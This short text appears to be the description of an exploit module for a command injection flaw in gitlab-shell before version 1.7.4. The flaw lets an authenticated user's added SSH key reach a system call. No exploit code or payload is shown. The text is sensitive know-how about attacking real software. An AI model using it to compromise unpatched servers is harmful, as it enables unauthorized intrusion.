        This module takes advantage of the addition of authorized
        ssh keys in the gitlab-shell functionality of Gitlab. Versions
        of gitlab-shell prior to 1.7.4 used the ssh key provided directly
        in a system call resulting in a command injection vulnerability. As
        this relies on adding an ssh key to an account valid credentials
        are required to exploit this vulnerability.
